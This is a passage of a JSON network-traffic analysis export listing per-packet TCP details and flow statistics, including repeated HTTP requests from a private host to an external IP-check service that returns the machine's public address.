\"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46862, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411405, \"tcp_ack\": 1369756557, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"PSH\": 16, \"ACK\": 18, \"RST\": 2}, \"packet_sizes\": [153, 153, 153, 153, 302, 302, 302, 153, 302, 153, 302, 302, 153, 302, 153, 302, 54, 54], \"inter_packet_intervals\": [0.3013741970062256, 0.6093549728393555, 1.2032270431518555, 0.22718095779418945, 0.30392003059387207, 0.6093590259552002, 0.06248283386230469, 1.1468050479888916, 0.06382894515991211, 1.148630142211914, 1.2031078338623047, 0.06246614456176758, 2.344653844833374, 2.560939073562622, 2.242326021194458, 7.429883003234863, 2.2080419063568115], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 23.727581024169922, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7586108327546932, \"bytes_per_second\": 157.9596333980328, \"min_packet_size\": 54, \"max_packet_size\": 302, \"median_packet_size\": 153, \"avg_interval\": 1.3957400602452896, \"min_interval\": 0.06246614456176758, \"max_interval\": 7.429883003234863}, {\"source\": \"192.168.122.168\", \"target\": \"132.226.247.73\", \"packet_count\": 24, \"total_bytes\": 2602, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [50100], \"dst_ports\": [80], \"first_packet\": 1777400567.390152, \"last_packet\": 1777400681.882982, \"packets\": [{\"packet_number\": 18, \"timestamp\": 1777400567.390152, \"timestamp_iso\": \"2026-04-28T23:52:47.390152\", \"timestamp_human\": \"2026-04-28 23:52:47.390\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53902, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496229, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 20, \"timestamp\": 1777400567.3903, \"timestamp_iso\": \"2026-04-28T23:52:47.390300\", \"timestamp_human\": \"2026-04-28 23:52:47.390\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53903, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496230, \"tcp_ack\": 3385608897, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 21, \"timestamp\": 1777400567.390637, \"timestamp_iso\": \"2026-04-28T23:52:47.390637\", \"timestamp_human\": \"2026-04-28 23:52:47.390\", \"size\": 205, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53904, \"ip_len\": 191, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496230, \"tcp_ack\": 3385608897, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 24, \"timestamp\": 1777400569.160366, \"timestamp_iso\": \"2026-04-28T23:52:49.160366\", \"timestamp_human\": \"2026-04-28 23:52:49.160\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53905, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496381, \"tcp_ack\": 3385609202, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 25, \"timestamp\": 1777400569.187929, \"timestamp_iso\": \"2026-04-28T23:52:49.187929\", \"timestamp_human\": \"2026-04-28 23:52:49.187\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53906, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496381, \"tcp_ack\": 3385609202, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 28, \"timestamp\": 1777400569.874046, \"timestamp_iso\": \"2026-04-28T23:52:49.874046\", \"timestamp_human\": \"2026-04-28 23:52:49.874\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53907, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496508, \"tcp_ack\": 3385609507, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 43, \"timestamp\": 1777400572.897042, \"timestamp_iso\": \"2026-04-28T23:52:52.897042\", \"timestamp_human\": \"2026-04-28 23:52:52.897\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53908, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496508, \"tcp_ack\": 3385609507, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 51, \"timestamp\": 1777400573.674969, \"timestamp_iso\": \"2026-04-28T23:52:53.674969\", \"timestamp_human\": \"2026-04-28 23:52:53.674\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53909, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496635, \"tcp_ack\": 3385609812, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 56, \"timestamp\": 1777400574.110449, \"timestamp_iso\": \"2026-04-28T23:52:54.110449\", \"timestamp_human\": \"2026-04-28 23:52:54.110\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53910, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496635, \"tcp_ack\": 3385609812, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 64, \"timestamp\": 1777400574.674912, \"timestamp_iso\": \"2026-04-28T23:52:54.674912\", \"timestamp_human\": \"2026-04-28 23:52:54.674\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53911, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496762, \"tcp_ack\": 3385610117, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 69, \"timestamp\": 1777400574.993879, \"timestamp_iso\": \"2026-04-28T23:52:54.993879\", \"timestamp_human\": \"2026-04-28 23:52:54.993\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53912, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496762, \"tcp_ack\": 3385610117, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 77, \"timestamp\": 1777400575.573041, \"timestamp_iso\": \"2026-04-28T23:52:55.573041\", \"timestamp_human\": \"2026-04-28 23:52:55.573\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53913, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496889, \"tcp_ack\": 3385610422, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 82, \"timestamp\": 1777400576.016912, \"timestamp_iso\": \"2026-04-28T23:52:56.016912\", \"timestamp_human\": \"2026-04-28 23:52:56.016\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53914, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782496889, \"tcp_ack\": 3385610422, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 90, \"timestamp\": 1777400576.661194, \"timestamp_iso\": \"2026-04-28T23:52:56.661194\", \"timestamp_human\": \"2026-04-28 23:52:56.661\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53915, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497016, \"tcp_ack\": 3385610727, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 96, \"timestamp\": 1777400577.806554, \"timestamp_iso\": \"2026-04-28T23:52:57.806554\", \"timestamp_human\": \"2026-04-28 23:52:57.806\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53916, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497016, \"tcp_ack\": 3385610727, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 104, \"timestamp\": 1777400578.475155, \"timestamp_iso\": \"2026-04-28T23:52:58.475155\", \"timestamp_human\": \"2026-04-28 23:52:58.475\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53917, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497143, \"tcp_ack\": 3385611032, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 109, \"timestamp\": 1777400578.837553, \"timestamp_iso\": \"2026-04-28T23:52:58.837553\", \"timestamp_human\": \"2026-04-28 23:52:58.837\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53918, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497143, \"tcp_ack\": 3385611032, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 117, \"timestamp\": 1777400579.569445, \"timestamp_iso\": \"2026-04-28T23:52:59.569445\", \"timestamp_human\": \"2026-04-28 23:52:59.569\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53919, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497270, \"tcp_ack\": 3385611337, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 122, \"timestamp\": 1777400580.317254, \"timestamp_iso\": \"2026-04-28T23:53:00.317254\", \"timestamp_human\": \"2026-04-28 23:53:00.317\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53920, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497270, \"tcp_ack\": 3385611337, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 130, \"timestamp\": 1777400580.774523, \"timestamp_iso\": \"2026-04-28T23:53:00.774523\", \"timestamp_human\": \"2026-04-28 23:53:00.774\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53921, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497397, \"tcp_ack\": 3385611642, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 135, \"timestamp\": 1777400581.149003, \"timestamp_iso\": \"2026-04-28T23:53:01.149003\", \"timestamp_human\": \"2026-04-28 23:53:01.149\", \"size\": 181, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53922, \"ip_len\": 167, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497397, \"tcp_ack\": 3385611642, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 143, \"timestamp\": 1777400581.973483, \"timestamp_iso\": \"2026-04-28T23:53:01.973483\", \"timestamp_human\": \"2026-04-28 23:53:01.973\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53923, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497524, \"tcp_ack\": 3385611947, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 214, \"timestamp\": 1777400646.999648, \"timestamp_iso\": \"2026-04-28T23:54:06.999648\", \"timestamp_human\": \"2026-04-28 23:54:06.999\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53924, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497524, \"tcp_ack\": 3385611948, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 215, \"timestamp\": 1777400681.882982, \"timestamp_iso\": \"2026-04-28T23:54:41.882982\", \"timestamp_human\": \"2026-04-28 23:54:41.882\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"132.226.247.73\", \"ttl\": 128, \"ip_id\": 53925, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50100, \"dst_port\": 80, \"tcp_seq\": 3782497524, \"tcp_ack\": 3385611948, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 23, \"PSH\": 10, \"FIN\": 1}, \"packet_sizes\": [66, 54, 205, 54, 181, 54, 181, 54, 181, 54, 181, 54, 181, 54, 181, 54, 181, 54, 181, 54, 181, 54, 54, 54], \"inter_packet_intervals\": [0.0001480579376220703, 0.0003368854522705078, 1.7697291374206543, 0.027562856674194336, 0.6861171722412109, 3.022995948791504, 0.7779269218444824, 0.43548011779785156, 0.5644629001617432, 0.3189671039581299, 0.5791618824005127, 0.44387102127075195, 0.6442821025848389, 1.145359992980957, 0.6686010360717773, 0.3623979091644287, 0.7318918704986572, 0.7478091716766357, 0.45726895332336426, 0.3744800090789795, 0.8244800567626953, 65.02616500854492, 34.883333921432495], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 114.49283003807068, \"avg_packet_size\": 108.41666666666667, \"packets_per_second\": 0.20962011325966542, \"bytes_per_second\": 22.72631394590206, \"min_packet_size\": 54, \"max_packet_size\": 205, \"median_packet_size\": 54, \"avg_interval\": 4.977949132090029, \"min_interval\": 0.0001480579376220703, \"max_interval\": 65.02616500854492}, {\"source\": \"132.226.247.73\", \"target\": \"192.168.122.168\", \"packet_count\": 23, \"total_bytes\": 4304, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [50100], \"first_packet\": 1777400567.390207, \"last_packet\": 1777400681.883054, \"packets\": [{\"packet_number\": 19, \"timestamp\": 1777400567.390207, \"timestamp_iso\": \"2026-04-28T23:52:47.390207\", \"timestamp_human\": \"2026-04-28 23:52:47.390\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385608896, \"tcp_ack\": 3782496230, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 22, \"timestamp\": 1777400567.39065, \"timestamp_iso\": \"2026-04-28T23:52:47.390650\", \"timestamp_human\": \"2026-04-28 23:52:47.390\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14542, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385608897, \"tcp_ack\": 3782496381, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 23, \"timestamp\": 1777400569.043465, \"timestamp_iso\": \"2026-04-28T23:52:49.043465\", \"timestamp_human\": \"2026-04-28 23:52:49.043\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14543, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385608897, \"tcp_ack\": 3782496381, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 26, \"timestamp\": 1777400569.187956, \"timestamp_iso\": \"2026-04-28T23:52:49.187956\", \"timestamp_human\": \"2026-04-28 23:52:49.187\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14544, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385609202, \"tcp_ack\": 3782496508, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 27, \"timestamp\": 1777400569.690256, \"timestamp_iso\": \"2026-04-28T23:52:49.690256\", \"timestamp_human\": \"2026-04-28 23:52:49.690\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14545, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385609202, \"tcp_ack\": 3782496508, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 44, \"timestamp\": 1777400572.897073, \"timestamp_iso\": \"2026-04-28T23:52:52.897073\", \"timestamp_human\": \"2026-04-28 23:52:52.897\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14546, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385609507, \"tcp_ack\": 3782496635, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 45, \"timestamp\": 1777400573.473733, \"timestamp_iso\": 